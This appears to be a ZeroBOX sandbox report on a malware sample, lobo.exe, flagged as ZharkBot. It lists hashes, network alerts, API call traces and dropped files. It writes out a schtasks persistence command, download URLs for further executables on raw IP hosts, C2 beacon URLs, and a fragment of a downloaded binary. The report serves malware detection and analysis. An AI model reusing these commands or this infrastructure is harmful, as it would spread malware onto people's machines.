popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

lobo.exe

Generic Malware Malicious Library UPX Malicious Packer ScreenShot Anti_VM AntiDebug PE64 PE File DLL OS Processor Check PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us July 25, 2024, 8:48 a.m. July 25, 2024, 8:59 a.m.
Size 324.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 848abdbd09c052799a0e0180b59f6fee
SHA256 1aa0622a744ec4d28a561bac60ec5e907476587efbadfde546d2b145be4b8109
CRC32 C205C55E
ssdeep 6144:/DiElZeVJ9/+pPQHe5wocklXck9UBd4MvQhdaAadaH8CaTnlmIa+w4Iqr6KGus24:/DiETMgqkKBJm5+fnHYftcv7vQG6zIs
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • UPX_Zero - UPX packed file
  • Generic_Malware_Zero - Generic Malware
  • OS_Processor_Check_Zero - OS Processor Check

Name Response Post-Analysis Lookup
solutionhub.cc
A 172.67.128.126
A 104.21.2.10
172.67.128.126
IP Address Status Action
164.124.101.2 Active Moloch
172.67.128.126 Active Moloch
185.196.10.57 Active Moloch
185.216.214.218 Active Moloch

Suricata Alerts

Flow SID Signature Category
UDP 192.168.56.103:52760 -> 164.124.101.2:53 2054416 ET MALWARE ZharkBot CnC Domain in DNS Lookup (solutionhub .cc) A Network Trojan was detected
UDP 192.168.56.103:52760 -> 164.124.101.2:53 2027758 ET DNS Query for .cc TLD Potentially Bad Traffic
TCP 192.168.56.103:49165 -> 172.67.128.126:443 2054418 ET MALWARE Observed ZharkBot Domain (solutionhub .cc in TLS SNI) A Network Trojan was detected
TCP 192.168.56.103:49165 -> 172.67.128.126:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49166 -> 185.196.10.57:80 2054413 ET MALWARE ZharkBot User-Agent Observed A Network Trojan was detected
TCP 192.168.56.103:49166 -> 185.196.10.57:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 192.168.56.103:49167 -> 172.67.128.126:443 2054418 ET MALWARE Observed ZharkBot Domain (solutionhub .cc in TLS SNI) A Network Trojan was detected
TCP 192.168.56.103:49167 -> 172.67.128.126:443 906200054 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 185.196.10.57:80 -> 192.168.56.103:49166 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.196.10.57:80 -> 192.168.56.103:49166 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49169 -> 185.216.214.218:80 2054413 ET MALWARE ZharkBot User-Agent Observed A Network Trojan was detected
TCP 192.168.56.103:49169 -> 185.216.214.218:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.216.214.218:80 -> 192.168.56.103:49169 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.216.214.218:80 -> 192.168.56.103:49169 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 185.196.10.57:80 2054413 ET MALWARE ZharkBot User-Agent Observed A Network Trojan was detected
TCP 192.168.56.103:49170 -> 185.196.10.57:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.196.10.57:80 -> 192.168.56.103:49170 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 185.196.10.57:80 -> 192.168.56.103:49170 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49170 -> 185.196.10.57:80 2054413 ET MALWARE ZharkBot User-Agent Observed A Network Trojan was detected
TCP 192.168.56.103:49170 -> 185.196.10.57:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 185.196.10.57:80 -> 192.168.56.103:49170 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49165
172.67.128.126:443 		C=US, O=Google Trust Services, CN=WE1 CN=solutionhub.cc 95:e3:33:ac:ac:3e:7c:88:2a:80:ec:a7:59:c6:13:67:fc:5c:69:3d
TLSv1
192.168.56.103:49167
172.67.128.126:443 		C=US, O=Google Trust Services, CN=WE1 CN=solutionhub.cc 95:e3:33:ac:ac:3e:7c:88:2a:80:ec:a7:59:c6:13:67:fc:5c:69:3d

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: SUCCESS: The scheduled task "explert.exe" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: SUCCESS: The scheduled task "explert.exe" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: Waiting for 10
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: seconds, press a key to continue ...
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: Waiting for 10
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: seconds, press a key to continue ...
console_handle: 0x0000000000000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000087ab30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000087ab30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x000000000087ab30
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
0x1c2d0005
0x85bd00
0x1c2d0000

exception.instruction_r: 3b b9 17 00 65 40 e2 18 3a 80 c8 e5 cc 2d 8c 31
exception.instruction: cmp edi, dword ptr [rcx + 0x40650017]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x1c2d0005
registers.r14: 0
registers.r15: 6220882
registers.rcx: 87
registers.rsi: 0
registers.r10: 3221225714
registers.rbx: 8764672
registers.rsp: 6220696
registers.r11: 6220640
registers.r8: 2003566592
registers.r9: 816
registers.rdx: 0
registers.r12: 6221062
registers.rbp: 472711168
registers.rdi: 0
registers.rax: 0
registers.r13: 8575824
1 0 0

__exception__

 stacktrace: 
DllGetClassObjectInternal+0x12b4c CorDllMainForThunk-0x799af clr+0xd7bc5 @ 0x72fb7bc5
DllGetClassObjectInternal+0x1357d CorDllMainForThunk-0x78f7e clr+0xd85f6 @ 0x72fb85f6
LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d
LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb
LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88
IEE+0x7326 GetCLRFunction-0x3a3 clr+0xc41c6 @ 0x72fa41c6
DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5

exception.instruction_r: 00 00 7b 4c 01 00 00 00 00 00 00 00 00 00 2a 00
exception.instruction: add byte ptr [eax], al
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0xcd7ee
registers.esp: 74250700
registers.edi: 3
registers.eax: 12
registers.ebp: 74250760
registers.edx: 0
registers.ebx: 74250728
registers.esi: 0
registers.ecx: 3
1 0 0
suspicious_features Connection to IP address suspicious_request GET http://185.196.10.57/selectex-file-host/Tgnviazinc.exe
suspicious_features Connection to IP address suspicious_request GET http://185.216.214.218/Population.exe
suspicious_features Connection to IP address suspicious_request GET http://185.196.10.57/selectex-file-host/linkedin.exe
suspicious_features Connection to IP address suspicious_request GET http://185.196.10.57/selectex-file-host/acev.exe
request GET http://185.196.10.57/selectex-file-host/Tgnviazinc.exe
request GET http://185.216.214.218/Population.exe
request GET http://185.196.10.57/selectex-file-host/linkedin.exe
request GET http://185.196.10.57/selectex-file-host/acev.exe
request GET https://solutionhub.cc/socket/?id=08CA843D0A15D2560E8FA7EE94E71AC9B38318DF02721EA26194DF153A2BEEA0&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=1CC68878051DC553418AD7
request GET https://solutionhub.cc/socket/?id=08CA843D0A15D2560E8FA7EE94E71AC9B38318DF02721EA26194DF153A2BEEA0&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=1CC68878051DC553418AD7&tsk=5C9F
request GET https://solutionhub.cc/socket/?id=08CA843D0A15D2560E8FA7EE94E71AC9B38318DF02721EA26194DF153A2BEEA0&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=1CC68878051DC553418AD7&tsk=5F90
request GET https://solutionhub.cc/socket/?id=08CA843D0A15D2560E8FA7EE94E71AC9B38318DF02721EA26194DF153A2BEEA0&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=1CC68878051DC553418AD7&tsk=5F91
request GET https://solutionhub.cc/socket/?id=08CA843D0A15D2560E8FA7EE94E71AC9B38318DF02721EA26194DF153A2BEEA0&us=1ACC94780D1E&mn=3AECB4580D1EC6312C&os=39C08968505B9841589FC5AB9AE31E8EF2DC42D055785DDC&bld=1CC68878051DC553418AD7&tsk=5D
domain solutionhub.cc description Cocos Islands domain TLD
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 1179648
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000af0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3321000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef39bb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 1048576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000025a0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002620000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3322000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3324000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef3324000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 655360
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b7a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b8c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ca0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93c2c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93c56000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93c30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b8a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b7b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b9b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ca1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93bcc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b9d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93b72000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ca2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ca3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ca4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000776eb000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fe93ce0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff20000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fffff00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2468
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000000b94000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0
description explert.exe tried to sleep 230 seconds, actually delayed analysis time by 230 seconds
file C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
file C:\Users\test22\AppData\Roaming\d3d9.dll
file C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
file C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
cmdline "C:\Windows\System32\cmd.exe" /c timeout 10 & exit
cmdline C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\test22\AppData\Local\Temp\23495762359867\explert.exe" /F
file C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe
file C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe
file C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
file C:\Users\test22\AppData\Roaming\d3d9.dll
wmi SELECT * FROM Win32_Processor
wmi SELECT * FROM Win32_BaseBoard
wmi SELECT * FROM Win32_DiskDrive
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c timeout 10 & exit
filepath: cmd
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: cmd
parameters: /c timeout 10 & exit
filepath: cmd
1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2468
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 1568768
protection: 16 (PAGE_EXECUTE)
base_address: 0x000000001c2d0000
process_handle: 0xffffffffffffffff
1 0 0
Time & API Arguments Status Return Repeated

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEd†CM¡fð" | @ À`…@@  ® H.text`{ | `.rsrc® ~@@H¬r\2c¥Xö.(_(2* 0E( s %rpo %r po %o %o ( ¨ao &Þ&Þ*;A0++ Þ (+õ +ô&Þì+*+ü( *Þ~-r3pÐ+++€~*( +êo +ås +à~*.+€*+÷Š+rmp~+ t*(+ço +ì(! *( *0s+5+:+?+D+I-(+Grƒp+C,,-+?ÞH+>r•p(" , Þ6Þ2(# +Äo$ +¿o% +ºo& +µ +´+¶(" +¶ +¾+¿&Þ*,û-ø*ff( *>+€*s' +ó08º8¿8À8Á{8½&-E8¾,28½{8¸,ë,8¸r±po( &{o) &rÇpo( &,N{o* ,{+rÝpo( &rípo( &{ o* ,{ +rpo( &o+ *s, 8<ÿÿÿ 8;ÿÿÿ8:ÿÿÿ89ÿÿÿo( 89ÿÿÿ8<ÿÿÿ8=ÿÿÿ(- 8>ÿÿÿ8Bÿÿÿ0ó}~. }~. } ~. }.%,o/  8¨šo0 rpo1 ,o2 s3 }+zr-po1 ,,o2 }{rÝp(" ,N~. }+Ar?po1 ,-o2 } { rp(" ,~. } +}X Ži?Oÿÿÿ*( *( * 0$+þs4 + Þ(5 +éo6 +ð&Þ* 0«,W~ -P~ +l8m8nr_p+ € ~ , ~ +€ -Þ-çÞ(7 +Ùo8 +å-(9 Ü~ +2+3+8, -*+6(-*~ * 8Žÿÿÿ8ÿÿÿ(: 8ˆÿÿÿ+Ëo; +Æ(+Á(< +Ã5P 0u+]8^8c, ++++!+",%,ú+!Þ4+ o= -åÞ'+âo> +Ý+Ü(" +× +Ü+Ý-,o? Ü*-û-ø*8ÿÿÿo@ 8˜ÿÿÿ 8—ÿÿÿ <H 0p- , +2+7+<+<+,ì+8+9š+9+>+C3 ,ÞEX -Ži2Û Þ4sA +ÇoB + +Á +Á+Å+ÄoC +ÀoD +»oE +¶& Þ*ii( *2+€ *(F *Ò( s})s}*}#Ži{)(}*0|9%И+Q€-B9%П+A€,æ9%Р+1€%,»9%Л+!€-¤-ã*(G +¨(G +¸(G +È(G +Ø.+{2*+÷¾+${0+ {/- 